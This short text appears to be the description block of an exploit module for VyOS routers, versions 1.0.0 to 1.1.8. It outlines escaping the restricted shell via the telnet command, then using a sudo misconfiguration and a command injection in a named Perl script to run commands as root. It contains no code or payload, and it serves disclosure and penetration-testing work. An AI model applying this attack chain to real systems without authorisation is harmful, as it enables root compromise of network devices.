          This module exploits command injection vulnerabilities and an insecure
          default sudo configuration on VyOS versions 1.0.0 <= 1.1.8 to execute
          arbitrary system commands as root.

          VyOS features a `restricted-shell` system shell intended for use by
          low privilege users with operator privileges. This module exploits
          a vulnerability in the `telnet` command to break out of the restricted
          shell, then uses sudo to exploit a command injection vulnerability in
          `/opt/vyatta/bin/sudo-users/vyatta-show-lldp.pl` to execute commands
          with root privileges.

          This module has been tested successfully on VyOS 1.1.8 amd64 and
          VyOS 1.0.0 i386.
